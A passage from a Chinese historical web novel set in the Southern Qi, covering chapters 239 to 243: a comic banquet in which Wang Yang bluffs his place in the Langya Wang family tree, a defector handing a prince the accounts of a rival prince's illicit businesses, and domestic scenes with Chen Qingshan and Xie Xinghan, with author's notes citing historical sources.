“之颜呐,你连自家长辈的辈分都没搞清楚......” 王扬神色一肃: “懂了。” 他先向王揖一拱手:“族父。” 王揖满意微笑。 再向王泰一点头:“阿兄。” 王泰神色一僵: “等会儿!这怎么出来个阿兄?” 王扬纳闷道: “我族叔是你五叔,你可不就是我阿兄吗?” 王泰连连摆手: “不对不对,我是你族叔,我五叔是你族叔公。” “阿兄你这是按没分宗前的原谱论的。按分宗之后的新谱,我高祖父和我族叔的祖父是同辈,后来我们这房承嗣大宗,兼祧小宗,平白涨了一辈。是吧族叔?” 王扬看向王揖,一脸乖巧。 王泰也看向王揖,一脸懵比。 王揖笑道: “是按分宗前论,还是按分宗后论,你们俩个定,我无可无不可。”说完就开始干饭。 王泰看着王揖,疑惑问: “这怎么又出来个分宗呢?之前也没提过啊!” 王揖专注地饮酒吃菜,也不应答,彷佛根本不知道王泰问的是他。 王泰只好看向王扬,语气微嘲: “之颜呐,你之前拜族叔的时候,可没说什么分宗前后的事儿。” 王扬眨眨眼: “我说了的。阿兄不记得了?” 王泰摆出长辈的架子,轻飘飘的一笑: “没有的事儿。” 王扬认真说: “第一次见面时就说了,无前也听到了,阿兄你一问无前就明白了。” 王泰眉间闪过一抹隐怒,手掌攥紧,然后松开,笑道: “那我兴许是忘了......” 王扬重新举杯,先向王揖: “族叔!” 王揖持觞,热情回应: “贤侄!” 王扬再转向王泰: “阿兄!” 小畜生! 王泰扯出个笑脸: “阿......阿弟!” 小畜生!! 王扬动情说道: “我这一脉,家世早衰,人丁零落,虽有琅琊之姓,而无鼎食之资。初至荆州之时,身无长物,形影相吊,举目四望,唯余一人,茫茫然如坠雾海。幸蒙二位尊长不弃,时加照拂。每忆及此,未尝不临风流涕......” 王泰嘴角一抖,瞄向王揖。 王揖撂下酒杯,感慨道: “剑出昆吾,必千锤以成器;玉生荆岫,终百琢而呈章!贤侄虽际有坎坷,然能养成如此才气,实乃家族之幸!族叔心中甚慰!但这杯酒,族叔不能饮。族叔惭愧呀!” 王揖说到此处,唉了一声: “族叔初至荆州,对你哪里谈得上照拂?还是多亏你阿兄,你这本酒,当先敬他。” 王泰马上道:“其实我——” 王扬朗声道: “阿兄容禀!弟初至荆州时,虽知阿兄在此,然家门衰败,不敢贸然登访,以宗枝流远,飞伏异路,恐有攀附之嫌。阿兄不弃弟之鄙陋,通亲问,叙人伦,查谱牒,排辈行......” “我我没查谱牒!” 王泰有些措手不及。 他这次赴宴,事先并不知道王扬在场,是王揖给他来了个突然袭击,直接上门说是自家人聚一聚,王泰不便推辞,只好跟着上车,到了地方王揖才说还有一个王家子侄,王泰问是谁,王揖还卖关子不说,说等见了就知道了,王泰抱着一丝侥幸,以为王揖说不定是带了哪个同宗小辈来,结果一看是王扬,顿时头皮发麻! 他不怕见王扬,但在王揖面前见王扬,这事儿就有点复杂了。 他祖父生九子,他父亲是长子,王揖是老五,虽说是嫡亲的叔父,但分家已早,可谓同亲不同心。更何况如今朝局晦暗,便是亲兄弟之间,立场都未必相同,叔侄之间,又怎敢交心?正如自己暗中投在竟陵王门下,王揖是不知道的,同理,他也不知道王揖现在到底怎么回事。 他这个五叔表面上优游度日,从容自在,但其实为人其实精明得很。不说别的,单说官运,就比自己通达许多。王融曾经有过一句戏言:“三真六草,为天下宝。七廉九锐,不如五巧。” 前两句是说书法,三叔的真书(隶的变体,当时又称今隶、楷书)和六叔的草书,并为至宝。七叔廉而不刿,小九叔豪锐气盛,但不如五叔妙巧。 所以当他“妙巧”的五叔把王扬引入宴席,他一下就蒙了。当场揭穿王扬?那小畜生肯定拖他下水;不揭穿他?那自己这算是给王扬身份证明了......还有五叔是怎么回事?他引王扬来是什么意思?他知不知道王扬底细?王扬那小畜生是怎么和五叔搭上线的? 王泰一肚子疑问,骑虎难下,连私下里试探地问一声的机会都没有,就直接同席,还开家人宴,现在被王扬当场指出“查谱牒”,一时情急,脱口反驳。以前当着那群学子面和王扬以叔侄相称,就算日后有人问起,尚可推说是一时不察,被王扬蒙蔽。若是查了谱牒,还认了亲,到时王扬身份一漏,自己岂不成了包庇? 王扬用奇怪的眼神看着王泰:“阿兄,你查过了。” “没查过!”王泰断然否决。 “你看你又忘了,你当时说你听闻我白虎道场论学,‘一战成名’,是‘大喜过望,与有荣焉’。赶忙打听,是族里哪一支出的‘青年才俊’......” 王扬说到这儿一顿,向王揖解释道: “这是阿兄勉励的话,侄儿是不敢这么自夸的。” 王揖连连点头: “知道知道,你是最谦虚的了。” 王泰:??? 他忙解释道:“我是那么说,但没真打听——” “打听了!阿兄你曾经在司徒府任职,帮司徒府参军贾渊修过十八州士族谱,和义兴的几位同宗都有书信往来。所以你就给他们写信询问,结果他们没听说过我。你说没听过也正常,譬如‘兰之生谷,虽无人而犹芳’。许是‘我在家乡久伏,到荆州才高飞’......” 王扬又是一顿,向王揖解释道: “这是阿兄抬爱的话,侄儿是不敢这么自诩的。” 王揖频频颔首: “知道知道,你是最内敛的。” 王泰:!!! 王泰又尴尬又纳闷儿,问道:“五叔,你之前认识他吗?” 王揖坦然答:“没有啊。” “那你为什么说你知道......” 王揖一叹,缓缓开口道:“所谓......” 然后, 突然就没声了。 王泰仔细听, 没听到。 再仔细听! 还是没听到! ?????? 王泰一时间竟陷入自我怀疑中! 他是说了什么我错过了吗? 王扬一嗟,徐徐启唇说:“白头如新——” 王揖眼眸一亮:“倾盖如故。” 王扬轻叩案几:“聚散如露——”吟罢饮尽杯中酒。 王揖微敲桌面:“相知不负!”言毕倾尽盏中酿。 两人互示空觞,相视而笑。 王泰满头问号:到底谁俩是真叔侄??? —————— 注:王揖和王泰父王慈都王僧虔的儿子。《南齐书》只记了王僧虔五个儿子姓名,按照南齐书的顺序,最后一个记的儿子叫“第九子寂”,则说明其至少有九子。《南史·王彬传》云:“彬字思文,好文章,习篆隶,与志齐名。时人为之语曰:三真六草,为天下宝。”故知王志是老三,王彬是老六,所以王揖的儿子王筠曾经写过一篇《为第六叔让重除吏部尚书表》,收在《艺文类聚》里,就是替王彬写的。 王揖排在王志后,在彬前,介于三六之间,或四、或五,我设定的是五,但未必合于史实,说不定是老四。 第240章 阿兄 “......嗟天地之有常兮,长幼序分——” 王揖坐姿散漫,醉笑执筷,横击酒樽,随即手臂一伸,筷指王扬。 王泰神色焦虑,看向王揖:“五叔——” 王扬长身斜倚,宝蓝衣衫逸宕,眼角含微醺,白面染飞霞,手指如笔,在空中连划,笑意吟吟: “缅宗族之绵邈兮,叔侄情深!” 王泰只好看向王扬:“之颜呐——” 王揖哈哈大笑,抬手虚引: “观棠棣之联辉兮,荆枝共茂!” 王泰耐住性子,又转过头:“五叔,要不先——” 王扬振衣坐直,横袖一挥: “沐兰桂之齐芳兮,玉树同春!” 王泰也抓住节奏了,不叫王扬,迅速看向王揖叫道:“五叔咱——” 啪啪啪! 王揖抚掌叫好:“好一个玉树同春!这韵协得好!贤侄,你留点神,我可要入典了(联赋中用典)。” 王揖稍作思忖,王泰赶紧插话:“五叔,刚才说——” “有了!”王揖筷箸斜挑,声音悠长:“思周公之握发兮,成王沐其深恩。” 王扬略一沉吟,王泰马上开口:“之颜——” 王扬自斟自酌,意态深沉:“念季子之让国兮,后昆仰此高魂。” “接得妙啊!” 王泰突然拍了一下桌案,大声称赞,把王揖、王扬都吓了一跳。 “这句接得妙!五叔您用的是周公佐成王的典故,之颜续以季札让国的美谈,这一佐一让,都是亲族大义的范章啊!更妙的是周公与成王乃叔侄,季札第三次让国,亦是让位给其侄,也涉叔侄典,可谓事对合契......” 王泰笑容灿烂。 插不进话? 那我加入总可以了吧! “五叔,方才——” 王泰夸完王扬,正要引入正题,王揖筷子一指王泰,兴冲冲道: “仲通,你赋下句!” 王泰:(⊙o⊙) 王泰虽说本身不擅长作赋,但若是感觉到了,也能勉强上阵。只是一来他心思不在此处,根本没感觉。二来开始时也没细听,文脉接不上。要是他不太懂赋格,还真敢莽出两句。关键他还懂,一懂就真不会接了。 他现在就是很无语,正吃着饭,喝着酒,说着正事儿,然后这两人突然就联上赋了!还他娘联的是骚体赋!他现在试图回想这联赋是怎么开始的,根本想不出来,因为开始得没有任何征兆! 最关键是他的话还没说清啊!就这么滑过去了岂不是坐实了他查了谱之后还认了小畜生? 王泰一笑道: “侄儿拙钝,若勉强续貂,难免坏了清韵,就不献丑了。”他说着看向王扬:“之颜才思敏赡,实在令人钦佩。说来惭愧,咱们琅琊王氏,绵延百代,支系繁复——” 王扬接口道: “支系确实繁复,但架不住阿兄敦叙彝伦,用心查访啊!若无之前阿兄不辞辛劳,辨谱系,明族党,与我叙亲通问,我今日还是如孤蓬飘萍,举目无亲。来,阿兄,我再敬你一杯!” 王泰被王扬精准预判,切断话头,心中大骂王扬狡猾,口中推脱道: “其实我辨得也不是很明——” “阿兄你就不要谦虚了!”王扬看向王揖,叹道:“我这个阿兄什么都好,就是太谦虚。” 王揖笑道:“仲通一向如此。” 王泰:??? “五叔,我不是谦虚,我是真查得不太明白。要不五叔,您亲自查查?” 王揖一笑:“你查都过了我还查什么?我还能信不过你?” 王泰想吐血。 王揖看向王泰,认真说道: “仲通啊,在这件事上,你不必过谦。所谓‘克明俊德,以亲九族。’‘亲亲之义,寔在敦固。’你敦亲疏属,叙问同族,使飘萍者得依其本,离散者复聚其宗,这既是你的德行仁义,也是光大我王氏门楣的善举——” 王泰流汗:“五叔,其实不是——” 王揖声音一高:“更何况你还发现了我王家的千里驹!你是功臣呐!来,侄儿,我也敬你一杯!” 王泰流汗更甚,脸都有些热(急)红了,慌忙解释道:“真不是——” 王揖皱眉:“真不是什么?难道之颜不是千里驹?” 王扬向王泰拱手道:“我实在算不上什么千里驹,不过阿兄确实是我的伯乐。” 王泰连连摆手: “你阿兄不是伯乐,你阿叔才是伯乐!” 王揖爽声大笑: “我就算是伯乐,可远在京中,也没有这个千里眼啊!” 他伸手遥点王泰: “还是你凭轩先睹,临渊先获,又能察微知著,眼光独到......” 王泰嘴角微微抽搐: “什么察微知著.......五叔你就别取笑我了。我也是托人代查,诸多疏漏,实难周全!像你们之前说的分宗啊,新谱旧谱啊,我都不知道。其实之颜到底是哪房哪枝,我到现在都弄不太清楚......” 王揖一挥手: “这是小节,不重要!昆山片玉,已足为珍,只要是我琅琊血脉,又何必究其出自哪房哪支?你查出他是王家人,和咱们有同族之亲,这就够了。” 王泰不知如何接这句话,脸色尴尬。 王揖眼神惊奇,一指王扬: “难道你的意思是,他是假的琅琊王氏?” 王泰没想到王揖会这么说,脸色顿时一僵,吞吞吐吐道: “其实也不是......只是当然代查的人有点迷惑......这个......嗯.......” 王揖转而看向王扬,神色认真: “之颜,你是假的琅琊王氏吗?” 王扬脸上没有丝毫慌张的神色,笑问道: “琅琊王氏还有假的吗?再说我要是假的,我阿兄又查家谱又查户牒的,能不知道?” 王揖惊道:“还查户牒了?” 王扬睁大眼睛:“是啊!” 两人一起看向王泰,神情出奇一致。 王泰抹去额角涔涔冷汗,强笑道: “我......我也是随便一查......” 王扬一拍桌:“我就说我阿兄谦虚,确实如此,查了就是查了,还要加上‘随便’二字。这户牒是随便查的吗?” 王揖一敲案:“当然不随便,随便能查户牒吗?” 王扬神色豪迈:“就退一万步讲,查完发现我是假的——” 王揖一脸不信:“那怎么可能呢?” 王扬说:“假设假设。” “哦,假设可以。” 王泰:...... “假设我阿兄查完发现我是假的。啊,难道我阿兄故意不说,还跟我叙亲,还跟我常走动——” 王揖又惊道:“还常走动了?” “是啊!亲戚间可不就得常走动嘛。当然,我是晚辈,所以都是我去拜访,这是应该的。” 王揖点头:“应该应该。” 王泰:...... 他扯了扯粘在背上的衣服,只觉燥热至极:“其实也不算......” “不仅常走动,还送我礼物!” 王揖再惊:“还送礼物了?” “是啊,阿兄怜我家业太薄,特意送的,整整二十二箱哩!” 王揖看向王泰:“仲通啊,你真是大手笔呀!” 王泰脸上一阵白一阵红,喉结上下滚动了几下,却一个字也说不出来,正想该怎么应对时,王扬的声音响起,并且突然变得深沉起来: “我阿兄不是大手笔,是人好。” 王扬带着几分醉意的朦胧,整个人散发着一种即将袒露肺腑的气息,用力点了点自己胸口: “我王扬一个疏枝旁系,祖德虽盛,而家世早凋;门望虽高,然身微如芥。自来荆州,虽闻同族在此,却不敢妄攀,每逢佳节,空对残灯而已! 原以为此生只作无根之萍,岂料竟能得阿兄青眼,查谱叙亲,考牒明宗,不以我亲疏而弃,不以我家贫而远!那二十二箱礼物我都封存起来了,妥善放置。因为它们于我而言,绝非是寻常货财!它们是阿兄接纳我的温暖凭信!我是重沐族荫的最佳证明!” 王扬说到最后声音哽咽,眼中似有泪光。 这边阿兄整个人都已经听傻了。 他从没想到王扬要礼物还有这层意思在,这小畜生是不是一般畜生,是真畜生啊!这是要人证物证都全的意思啊! 王揖也听得一愣一愣的,看向王扬,眼神都变了,一时间竟不知道怎么接,这情绪也太饱满了!给人一种好像不落泪不好接的感觉。 “所以——”王扬没用王揖接话,自己来接,“假设有人说我是假的琅琊王氏,我不可能允许。不光是为我自己不允许,更是为我阿兄!难道我阿兄知道我假的,还帮我隐瞒,和我做戏,这不是说我阿兄和我联手欺骗整个荆州城吗?这不是说我阿兄是我冒姓琅琊行骗的庇翼吗?” 王扬深吸一口气,目光如铁,一字一顿: “说我可以!说我阿兄,我不答应!” 王泰看着眼前这一幕,只觉天旋地转,气得差点背过气去。 王揖则是一脸看戏吃瓜的惊叹模样,正准备再点评几句时,便听王扬道: “当然了,以前荆州城里只有我阿兄一人,但现在不一样了,又多了我阿叔——” 王揖闻此一激灵,立即捂胸道: “之颜呐,阿叔就先别提了,阿叔心府怔忡,不堪骤惊......” 第241章 犬狼 王府,夜稠。 刘寅跪在地上,双腿早已麻得失去知觉,腰背酸痛难当,每次呼吸都仿佛在重新感知疼痛。或许稍稍活动一下能好受点? 但他不动。连细微的调整姿势都没有。 他就这么恭敬卑微地跪着,一动不动。 不知过了多久,巴东王走了出来,穿着一身白绸寝衣,拎着那把环首长刀,慵懒入座。 刘寅艰难地挪动着身体,俯身叩首。 “说吧,本王为啥要见你这条丧家狗,而不是把你剁了喂狗?”巴东王略显不耐烦的声音响起。 刘寅从袖中抽出一卷簿录,双手呈上: “这是庐陵王这些年来在荆州境内的所有暗产,一共七项三十九处,每年二月二,由小人汇核各处进项,交由督漕司马彭延年及监运御史许无咎,随赋奉漕舸一道入京。” “许御史都买通了?厉害厉害! 还走官漕运钱,可以可以! 我这三兄在荆州好大的手面,怪不得母妃说他能成事,本王不行。 是啊,这么一看,他可不是能成事吗?本王是万万比不过的。” 巴东王神情夸张,阴阳怪气地说。 刘寅缓缓直起腰,然后额头重重砸在地上: “从今日起,这些产业,都是王爷的了!” 巴东王脸上露出讥嘲之色,招了招手,一个一直隐身在暗处的侍从上前,取过簿录,交给巴东王,然后悄无声息地退回原位。 巴东王展开簿录,只扫了一眼,便双目瞪大,一下子就坐正了。 “你们他娘地还开矿啊!还圈山建墅开矿!龙山有矿本王怎么不知道?” 刘寅道:“建墅是为了掩人耳目,名义上产的是石青、苏木和花麻,获利也不小。” “永宁邸店也是你们弄的?好好好,这买卖做得真够大的,你们这是开了多少家......”巴东王神色兴奋,仔细向后看去。 刘寅回答道:“大邸有三,小邸有——” “你们还弄了间寺庙专门放债?人才呀!” 巴东王看到后面乐出声来。乐了几声后脸色一寒,虎目威瞪: “刘寅你好大的胆子!你帮着萧子卿聚敛为奸,暗行不轨!犯了多少条刑律那你自己说!本王身为荆州刺史,岂能坐视你们狼狈为奸!本王要将你下狱审问,并你们一切勾结枉法之事,上奏朝廷!” 刘寅神色不变,抬头看向巴东王,语气平静: “王爷,刘寅可以下狱,也可以指证庐陵王,只是庐陵王行事素来小心,相关事务从不沾手,不留文字,不施印钤,便是收钱也是让人代收,没有一文入过庐陵王府。所以即便我咬住庐陵王,但也很难有直接的证据佐证。咬到最后,兴许只能咬出几个替死鬼。 更重要的是,即便庐陵王倒了,那对王爷又有什么好处?东宫尚在,贤王尚存(二皇子竟陵王),晋安王勇略兼备,随郡王才貌双全,倒了一个庐陵王,于王爷何益?不过是为他人扫除罢了。” 巴东王冷哼一声:“本王一心尽忠,为国除奸,至于个人的好处有多少,不太计较。” 言罢目中微露笑意:“不过,你倒说说,好处有多少啊?” 刘寅拱手而禀:“回王爷的话,岁均入钱五千万六百万,减去各处支销用度,实得净利,不下三千五百万钱。” “这么多!”巴东王吃了一惊。随即暗悔失言,脸色一沉,“支销哪用得了这么多?你们养私兵啊!” “矿是黑矿,邸是隐邸,很多生意不能见光,运输转卖也不易,各关节都需打点,各处人手也少不得。每年的账簿都放在我家里,王爷如果想看,我立即去取。” 刘寅语速平缓,每个字都像拨算盘珠子那样清晰。 巴东王声音威严了几分: “说的是实话吗?” 刘寅再次叩首: “不敢欺瞒王爷!” 巴东王沉默了一会儿,开口问道: “如果他要收回这些产业怎么办?” 刘寅自然知道巴东王那个“他”指的是谁: “庐陵王行事谨慎,很少留手尾,也不易抓把柄。但也正因为太谨慎了,所以对这些产业控制不足。荆州所有暗产都是由我一手打理,各处分管之人也是我一手简拔,再加上这些都是暗产,荆州又是王爷的地盘。只要王爷肯站在我身后,我担保为王爷收回所有产业!” 巴东王凝神想了想,又问: “如果他恨本王吞他的产业,反而举奏本王枉法,那怎么办?” “不会。一来指证庐陵王的直接证据虽然少,但间接证据太多,一旦掀出来便是大案,庐陵王也难全身而退。二来庐陵王是聪明人,行事从来不走两败俱伤的路,所以只能吃下个暗亏,把恨埋在心里。但王爷拥兵在外,镇守荆州,庐陵王便是恨王爷,王爷又有何惧?” 巴东王看着刘寅,眼神不善:“你他娘地是想挑本王对付本王皇兄啊!” “刘寅不敢。刘寅手握重赀,而命轻如芥,只能求庇于王爷。如果王爷担心庐陵王有恨意,那也简单,把我的人头送给庐陵王,再把所有产业归还,庐陵王自然念着和王爷兄弟之情,不会恨王爷的。” 巴东王不语,盯了刘寅一会儿,神色狐疑:“为什么选本王?” 刘寅坦然道:“荆州之内,除了王爷外,还有谁能从庐陵王手中保下我这条贱命?” 巴东王将簿录合起,敲了几下掌心停住,看向刘寅,虎目现出噬人的杀意: “你现在已经把这些产业给本王看了,本王如果杀了你,自己接管这些产业呢?” 刘寅声音沉稳: “可以。以王爷的实力,即使没有我,也能控制部分生意。” “部分生意?什么意思?” “这些都是暗产,见不得光的地方太多。有些生意运作涉及的隐秘关节处,只有我刘寅知道。让这些产业按部就班、源源不断地产生和过去同样的利润,也只有我刘寅能办到。就算王爷您派人强行接手,短期内也难以摸清门道,并且很难保持生意不乱。再者这些年我为了守住这些产业,在各处留了后手,王爷您杀我一人,一年少说也要损失一半的利润,支出也会大大增加......” 刘寅说到这儿,嘴角露出一抹自嘲的笑意: “我刘寅一颗人头,岂能值两千万钱?王爷何必舍大取小?并且让小人在前面犯法,王爷在背后收钱,难道不好吗?王爷又何必亲自出手,既脏了手,又劳心劳力呢?” 巴东王轻笑一声:“有点意思。但......”他神色一冷:“本王还是信不过你。” 刘寅缓缓抬起头: “我家中现在有六具尸体,庐陵王派来五人,还有一人是我妻,她本是庐陵王的婢女,也是他的眼线,我已经把这六人杀了。 巴东王嘶了一声,脸上闪过一丝惊怔: “妻都杀了?够狠......” 烛火在刘寅眼中跳动,却映不出一丝波澜: “王爷现在可以派人去看,留下证据。其实王爷也不必如此麻烦,刘寅失了官位,又反叛庐陵王,早就没有活路,王爷随时想要刘寅的命都可以,不过是一句话的事。刘寅若想求活,此生只能依靠王爷,再也没有第二条路。” 巴东王目光如炬,盯着刘寅: “你不是狗,你是头狼,一头谁都敢咬的狼。不过本王不怕狼,本王也擅长打狼。” 巴东王猛地站起,抓起刀鞘,大步走到刘寅身前。 刘寅马上伏低在巴东王脚下,身形如犬,展示自己的臣服。 巴东王手腕一沉,刀鞘“咚”地一下抵在刘寅脊梁骨上。 “你这条狼命,就先寄放本王这儿。本王答应你,暂时不让别人取走它。但如果你这条狼敢对本王呲牙——” 刀鞘顺着刘寅的脊椎下滑,滑到刘寅的后脑停住。 巴东王咧嘴笑道:“那本王就捶爆你这颗狼头!” —————— 注:几千万是个什么概念呢?《晋书??郗鉴传》说郗愔“好聚敛,积钱数千万”。刘宋时萧惠开做益州刺史,“自蜀还,资财二千余万”(《宋书·萧惠开传》)南齐时豫章王罢荆州刺史,“斋库失火,烧荆州还资,评直三千余万”(《南齐书·豫章文献王嶷传》)曹虎做雍州刺史,“晚节好货贿,吝啬,在雍州得见钱五千万”(《南齐书·曹虎传》)清时民谚说“三年清知府,十万雪花银”,若移到南朝时,则是“一任州刺史,几千万还资”。 民间一般有钱的土豪大户一共家产也就几千万。南齐张敬儿以前给大户人家做工,和人家婢女私通,被发现后藏在棺材里才跑路成功,后来得志后回来报仇,说人家谋逆,收籍其家,“僮役财货直数千万”。(《南史·张敬儿传》)《宋书·恩幸传》言:“山阴有陈载者,家富,有钱三千万。” 所以庐陵王荆州黑产一年稳定产出三千多万,相当可以了。 第242章 你说,我去做 夜久更深,兰烛销泪。 王扬家主屋内,王扬眉头紧蹙,正在踱步。 陈青珊和小阿五也没睡。两人坐在主屋与正厅分界的屏风右侧,默默看着王扬徘徊在昏黄的烛光里,身影变幻。 根据陈青珊的观察,王扬踱步很有特点,他大部分时间里走得极慢,路程又极短,每次在同一个方向最多走出四步便向回走。至于转身的时候就更慢了,以一只脚为中心,一点一点地挪步,左手有时候会掐在右掌边缘,掐一下,松一下,再掐一下,再松一下,一般会持续三四次左右,头也会跟着微微偏侧,看起来有点呆,有点傻,又有点可爱。 不过他大部分时候都是很智慧的样子,至于智慧的样子具体是个什么样儿,陈青珊自己也描绘不出来,或许是他专注到极点的神情?又或许他深沉到幽邃的目光?总之他的眸,他的鼻,他的眉峰,他的唇角,都给陈青珊一种很智慧、很沉稳的感觉,当然,也很好看。 这种感觉在他屈指计算的时候尤为明显。 他的手指很长,指腹在烛晕下泛着温润的光泽。先是拇指缓缓扣入掌心,接着是食指、中指.....五指都落下后会再一根根地伸开。有时还会犹豫,似乎对于这根手指该落下还是该伸展,暂时拿不定主意;有时五根手指悬空拨动,似落非落,似伸非伸,彷佛在拨动琴弦。 如果他突然放下手,脚步加快,那就是要走到桌案前写字了,不过不会写久,只写一小会儿,便会转身,然后继续开始踱步。 他想问题时很少会这样来回走动的,一定是遇到什么很难很难的事了,陈青珊手撑脸颊,也和王扬一样,想得入神了......至于小阿五,早就困得东倒西歪,但还强撑着不睡:万一公子要夜宵、要换蜡呢? 不知过了多久,王扬在窗前停下,伸了个懒腰,然后从镜子里隐约看到一大一小两只倚在屏风边上,顿时吃了一惊。 “怎么还不睡?!” 陈青珊小声道:“等你。” 阿五早困得失去意识,听到响动只是啊呜了一声。 王扬哭笑不得:“等我干嘛?看把孩子困的,赶紧抱榻上睡!” 陈青珊将小阿五抱到屏风后面的小榻上,盖好被子。王扬道:“你也睡,蜡烛我熄。” 陈青珊看着王扬,冒出一句: “我和你一起去。” 王扬一怔: “不是说好了嘛,这趟很安全,根本用不到——” “你骗我。”陈青珊盯住王扬眼睛。 王扬又是一怔,随即一脸无辜: “真没骗你啊!我还想带你去玩呢!结果问了才晓得,使团是有人数限制的!你不知道,这出使不比别的,随员都要上籍造册,现在名额满了,没办法再加人.......” 陈青珊凤眸微微眯起:“你又骗我。” 王扬连道冤枉: “真的真的!我要是正使,必须带你去啊!谁拦着都不好使!可问题是我这不是说了不算嘛!我还特意和我阿叔说,要带上我家小珊,结果阿叔说不行。我当场就怒了!我说我家小珊人美功夫又好,凭啥不让带?阿叔说这也是没办法,要是早说几天还有可能行,但现在出使名单已经报上去了,你不知道,如今查得严,所谓‘皇命难违’——” 陈青珊凤眸含怒,手指攥住衣角,声调突然提高: “你总骗我!!!从第一次见面就骗我!上次我问你那条腰带!你还说你——” 王扬看陈青珊急了,并翻起旧账,忙压低声音道: “你小点声小点声,别把孩子吵醒了!” 陈青珊一愣。 王扬:??? 王扬眼看哄不住了,把陈青珊拉到桌前坐下,无比认真地说道: “我这个人做事喜欢周全,但此事古难全,世上的事,很难都做到万全。有些事做不到,受些挫折也就过去了,没什么大不了的。但有些事只要错了一次,便是万劫不复,比如丢命的事。这次出使,就是有可能丢命的事。 这不是小说,我也没有庄周一人一剑杀透重围的本事;这也不是在城里,随我用名用法,用望用势。这次更不是对诗对赋,讲经论史。有些东西我要检验,有些事情我也拿不准,只能说尽力尝试。不可控的因素太多,可能发生的意外也太多,我算来算去吧,没有万全策,所以我才让你留在家里。” 陈青珊没有一丝犹豫,清亮的眼眸执拗而坚定,思路也异常明晰: “正是因为不能万全,所以我更要去。你曾经和我说过,‘孤子易折,连势难破’,你这次没有势,但你有我。” 王扬闻此,有些动容,小声道:“我也有势。” “加我势更全。” “你一个人对势起不了什么作用。” “单马突阵,斩将搴旗,你说,我去做。” 陈青珊声音很轻,仿佛在说一件很平常的小事,但眉宇之间,英气勃发,好似才破晓时那面对浓黑夜幕却依然刺向厚重云层的第一缕曙光,孤决,夺目,且不可阻挡。 王扬没办法拒绝这样的决然,只好换一个角度相劝,提醒道: “你还要为你爹查清真相。” 陈青珊目光低垂,沉默不语,纤长的睫毛在烛光中投下浅浅的阴影,如同飞鸟敛翼,但只静默了片刻,便重新抬眼,眸光如劲箭不回,似朗星不坠: “有些事,比查清真相更重要。” 王扬目光一震。 陈青珊说完脸就红了,磕磕绊绊道: “我我睡......不是!我我回去睡了!” 然后逃也似的跑出了房间。 不过很快又返了回来,探出身子道:“我一定去啊!”说完不给王扬拒绝的时间,迅速消失。 没过两秒钟,人又回来了,扒着门补充道:“我带着槊去!” 王扬无奈地笑了,点了点头。 陈青珊这才放心离去。 王扬屋里的灯,又亮了一个时辰,然后才熄。 ....... 晓色透窗,帘卷霞光早。 慢启妆奁香袅袅,轻扫眉姿鲜巧。 谢星涵晨窗理鬓,对镜梳妆,动作舒缓细腻,神情很是认真。 小凝捧着一个鎏银钗匣近前,红绸衬里上整齐排列着五根簪钗。 谢星涵一边画眉一边道:“不是这盒。” 小凝哦了一声,转身离去,很快取来一个黑漆描金的首饰盒,轻轻打开盒盖。 谢星涵通过镜子看了一眼:“要蓝瑛簪。” 小凝放下盒子,取出那根云水蓝瑛簪,边为谢星涵簪发,边忿忿道: “娘子,张管妇又来催了,说如果没事的话,让咱们快点启程。仗着是正院里的,又是老爷派的,一天催三遍!方才还四下打听娘子这几天都去哪了呢!” 张管妇是谢星涵父亲派来接谢星涵回去的,虽然前天才到,但已经来催了好几次了。 谢星涵侧头端详着簪子,说道:“让她进来。” 不多时,小凝便引着一位身着褐色罗裙的中年妇人入内。妇人一进门便屈膝行礼,眼角却不住地往妆台上瞟: “老妇问四娘子晨安。四娘子气色真好,想是昨夜睡得安稳!不知道今日是不是可以启程了?” 谢星涵并不回头,只对着铜镜细细描画眉梢:“谁说今日启程的?” 张管妇试探问道:“那四娘子的意思是......” “生意还没完,我也走不开呀。” 张管妇疑惑道:“可老妇听说生意早都做完了啊。” 谢星涵放下眉笔,对镜仔细瞧着眉梢深浅:“你听谁说的?” 张管妇也没多想,说道:“李起。” “小凝,叫李起过来。” 张管妇更加疑惑,为什么要叫他来? 小凝应声而去,张管妇有些不安地挪了挪脚: “四娘子,老妇愚钝,不知唤李起来是......” 谢星涵微微一笑:“只是问一问。张管妇在这儿住得习惯吗?这儿天气比建康热些,屋子也小,只好先委屈一下了,回头我让人给你送些梅浆饮子,用井水镇了,最好消暑。” 张管妇又是赔笑又是道谢,心中纳闷儿,不知道这四小娘子到底是什么意思。李起很快来了,躬身行礼:“见过四娘子。” 谢星涵转过身,脸上笑容也不见了:“李典采,是你说荆州的生意做完了?” 李起一愣,看向张管妇。 张管妇神情尴尬。 谢星涵声音一冷:“我问你话,不要看别人。” 李起慌张答道:“我我看各船的货都采买好了,就......就以为......” “生意是你做主还是我做主?” 李起赶紧道:“当然是四娘子做主。” “那我这个做主的都不知道,你没做主的反而知道了?” 李起结舌不能答。张管妇也给震住了,想开口说情但又怕像李起那样当面被驳,伤了颜面。 “不论生意做没做完,都不是你能乱传乱议的。乱口舌者当鞭,你以前是跟着我长兄的,我给你留着体面,这次就不罚你了,若有下次......” 李起赶忙下拜谢罪,连道不敢。 李起退下后,谢星涵向张管妇和颜悦色道: “我还要在荆州耽搁一阵,总得把这里的事料理好,才好回去。” 张管妇恭敬应道: “四娘子说的是,可老爷那儿我——” 谢星涵打断了她的话: “老爷在,你听老爷的,老爷不在,你听我的。” 张管妇心下一凉,觉得膝盖有点软,立即赔着小心道: “自然自然,都听四娘子的吩咐。” 谢星涵灿然一笑: “回去的事儿以后就不要催了,你在这儿安心住着,也四处逛逛,一应花销你报账,我照准。” 张管妇觉得,自己的膝盖,愈发软了。 第243章 登楼 王扬起晚了。 昨天睡得实在太迟,今天一睁眼太阳已升得老高,一问小阿五才知道都巳时过半了,惊得赶紧起床,手忙脚乱地穿衣服:“阿五,怎么不叫醒我啊!” 小阿五也慌张起来,赶忙放下铜盆,踮起脚,熟练帮王扬梳理系带:“公子恕罪!我看公子昨天睡得太晚,寻思今日就别练拳了——” “哎呀不是练拳,我是陪游......腰带!” “随便哪条都行!” “公子!鞋!鞋!” 小阿五忙得四处转,王扬也跟陀螺似的,边擦脸上水珠边喊:“小珊!小珊!” 陈青珊带剑飞快进门,神色紧张:“怎么了?” “叫老宋备车!我马上要出门!” “好!”陈青珊松了口气,快步出去传话。 没走几步,只听王扬叫道:“再把老黑叫进来!” ...... 黑汉躬身道:“公子吩咐。” “你拿我的帖子,去白虎道场,找季道人,和他这么说......” 王扬低声说了一番,黑汉连连点头。 王扬交给黑汉一张纸条,让他转给季道人: 